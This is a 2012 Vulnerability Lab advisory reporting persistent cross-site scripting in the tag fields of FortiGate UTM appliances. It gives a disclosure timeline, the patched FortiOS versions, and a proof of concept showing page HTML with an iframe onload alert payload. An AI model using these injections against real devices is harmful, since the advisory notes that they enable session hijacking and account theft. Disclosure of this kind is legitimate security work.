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Fortigate UTM WAF Appliance - Multiple Web Vulnerabilities
- To: bugs@xxxxxxxxxxxxxxxxxxx, bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Fortigate UTM WAF Appliance - Multiple Web Vulnerabilities
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Wed, 12 Sep 2012 22:47:56 +0200
Title:
======
Fortigate UTM WAF Appliance - Multiple Web Vulnerabilities
Date:
=====
2012-09-06
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=557
VL-ID:
=====
557
Common Vulnerability Scoring System:
====================================
5
Introduction:
=============
The FortiGate series of multi-threat security systems detect and eliminate the
most damaging, content-based threats from email
and Web traffic such as viruses, worms, intrusions, inappropriate Web content
and more in real time - without degrading
network performance.
Ranging from the FortiGate-30 series for small offices to the FortiGate-5000
series for large enterprises, service providers and
carriers, the FortiGate line combines the FortiOS™ security operating system
with FortiASIC processors and other hardware to provide
a comprehensive and high-performance array of security and networking functions
including:
* Firewall, VPN, and Traffic Shaping
* Intrusion Prevention System (IPS)
* Antivirus/Antispyware/Antimalware
* Web Filtering
* Antispam
* Application Control (e.g., IM and P2P)
* VoIP Support (H.323. and SCCP)
* Layer 2/3 routing
* Multiple WAN interface options
FortiGate appliances provide cost-effective, comprehensive protection against
network, content, and application-level threats - including
complex attacks favored by cybercriminals - without degrading network
availability and uptime. FortiGate platforms incorporate sophisticated
networking features, such as high availability (active/active, active/passive)
for maximum network uptime, and virtual domain (VDOM)
capabilities to separate various networks requiring different security policies.
Since 2009 Fortigate appliance series got certified by the U.S. Army and is now
listed in the
Information Assurance Approved Products List (IA APL). The military provides
high security
standards to secure outdoor camps, air base, offices with fortigate hardware.
(Copy from the Vendor Homepage: http://www.fortinet.com/products/fortigate )
Abstract:
=========
Vulnerability-Lab Research Team discovered multiple persistent Web
Vulnerabilities in the FortiGate UTM Appliance Application.
Report-Timeline:
================
2012-05-06: Researcher Notification & Coordination
2012-05-10: Vendor Notification
2012-06-11: Vendor Response/Feedback
2012-08-25: Vendor Fix/Patch ( Fixed in FortiOS v4.3.8 B0537 & Fixed in
FortiOS v5.0 )
2012-09-06: Public or Non-Public Disclosure
Status:
========
Published
Affected Products:
==================
Fortigate
Product: UTM Appliance Application vFortiGate-5000 Series;FortiGate-3950
Series;FortiGate-3810A;
Exploitation-Technique:
=======================
Remote
Severity:
=========
High
Details:
========
Multiple input validation vulnerabilities(persistent) are detected in the
FortiGate UTM Appliance Application. Remote attackers
& low privileged user accounts can inject (persistent) own malicious script
code to manipulate specific customer/admin requests.
The vulnerability allows an local low privileged attacker to manipulate the
appliance(application) via persistent script code
inject. The vulnerability is locaed in the Add or Tags module category listing
with the bound vulnerable applied tags & tags display parameters.
Successful exploitation results in content module request manipulation,
execution of persistent malicious script code, session
hijacking, account steal & persistent phishing.
Vulnerable Module(s): (Persistent)
[+] Tags - Applied tags
[+] Add - Tags Display
Interface - UTM WAF Web Application [Appliance]
FortiGate-5000 Series;FortiGate-3950
Series;FortiGate-3810A;FortiGate-3600A;FortiGate-3016B;FortiGate-1240B
FortiGate-800;FortiGate-620B;FortiGate-311B;FortiGate-310B;FortiGate-300A;FortiGate-224B;FortiGate-200B
Series
Proof of Concept:
=================
The persistent vulnerabilities can be exploited by remote attackers with low
required user inter action or low
privileged user account. For demonstration or reproduce ...
Code Review: Tags - Applied tags [Box] > Listing
URL:
http://appliance.127.0.0.1:1337/firewall/policy/policy6?expanded=#
name=``addr_dlg`` action=``/firewall/address/add`` onsubmit=``if
(!fwad_form_check('Please choose one address/group.',
'Please choose one interface to connect.')) return false; if
(document.forms[0].submitFlag) return false; document.forms[0].
submitFlag = true;``>
<table><tbody><tr>
<td align=``left`` width=``150``><nobr>Address Name</nobr></td>
<td align=``left``><input
name=``name`` size=``64`` maxlength=``63`` value=``all`` type=``text``>
</td>
</tr>
<tr>
<td>Color</td>
<td><span colorclassprefix=``addr_ipv6_
`` class=``icon_fw addr_ipv6_13`` id=``addressIcon``></span> <a href=``#``
id=``addressColor`` cscolorvalue=``0``>[Change]<input value=``13``
name=``csColor1`` type=``hidden``></a></td></tr>
<tr id=``row_ipv6``>
<td align=``left`` width=``150``><nobr>IPv6 Address</nobr></td>
<td
align=``left``><input name=``ip6`` size=``50`` maxlength=``43`` value=``::/0``
onfocus=``this.select()``></td>
</tr>
<tr class=``object_tag_row``>
<td colspan=``2``>Tags</td></tr>
<tr class=``object_tag_row``>
<td class=``dep_opt``>​​​​​<label
for=``appliedTags``>Applied tags</label></td>
<td><span class=``tag_list`` id=``appliedTags``><span class=``object_tag
object_tag_remove``
mkey=````><[PERSISTENT INJECTED SCRIPT CODE!]'<``=````><span
class=``tag_label``>
``><[PERSISTENT INJECTED SCRIPT CODE!] <</span><span class=``tag_tail``></span><
/span></iframe></span></span></td>
</tr>
<tr class=``object_tag_row``>
<td class=``dep_opt``><label for=``addTag``>Add tags</label>
</td>
<td><input class=``ac_input`` autocomplete=``off`` name=``addTag``
id=``addTag`` type=``text``><img src=``/images/act_add.gif``
class=``tagSelector-addTag``></td>
</tr>
</tbody></table><input name=``mkey`` id=``mkey`` value=``all`` type=``hidden``>
<input name=``tagList``
id=``tagList`` value=``"><[PERSISTENT INJECTED SCRIPT CODE!]<`` type=``hidden``>
<input name=``is_ipv6`` id=``is_ipv6`` value=``1``
type=``hidden``>
<input name=``redir`` value=``/success`` type=``hidden``>
<div class=``footer``><input class=``button`` value=``Return``
onclick=``if (window.opener) {window.close(); } else if (parent &&
parent.wij_in_modal_op && parent.wij_in_modal_op())
{ parent.wij_end_modal_dialog(); } else {document.location='/success'}``
type=``button``>
</div>​​​​​</form>
... or
<td><span class="tag_list" id="appliedTags"><span class="object_tag
object_tag_remove"
mkey=""><[PERSISTENT INJECTED SCRIPT CODE!]' <"=""><span
class="tag_label">"><iframe src=a
onload=alert("VL") <</span><span class="tag_tail"></span></span></iframe></span>
<span class="object_tag object_tag_remove" mkey="corp"><span
class="tag_label">corp</span>
<span class="tag_tail"></span></span></span></td>
Solution:
=========
To fix the persistent vulnerabilities by parsing the object tag add input
fields & output listings in all sections.
Restrict the input field and disallow script code tags or evil statement
inserts.
* Fixed in FortiOS v4.3.8 B0537
* Fixed in FortiOS v5.0
Risk:
=====
The security risk of the persistent input validation vulnerabilities are
estimated as high (-).
Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxxxxxx)
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===========
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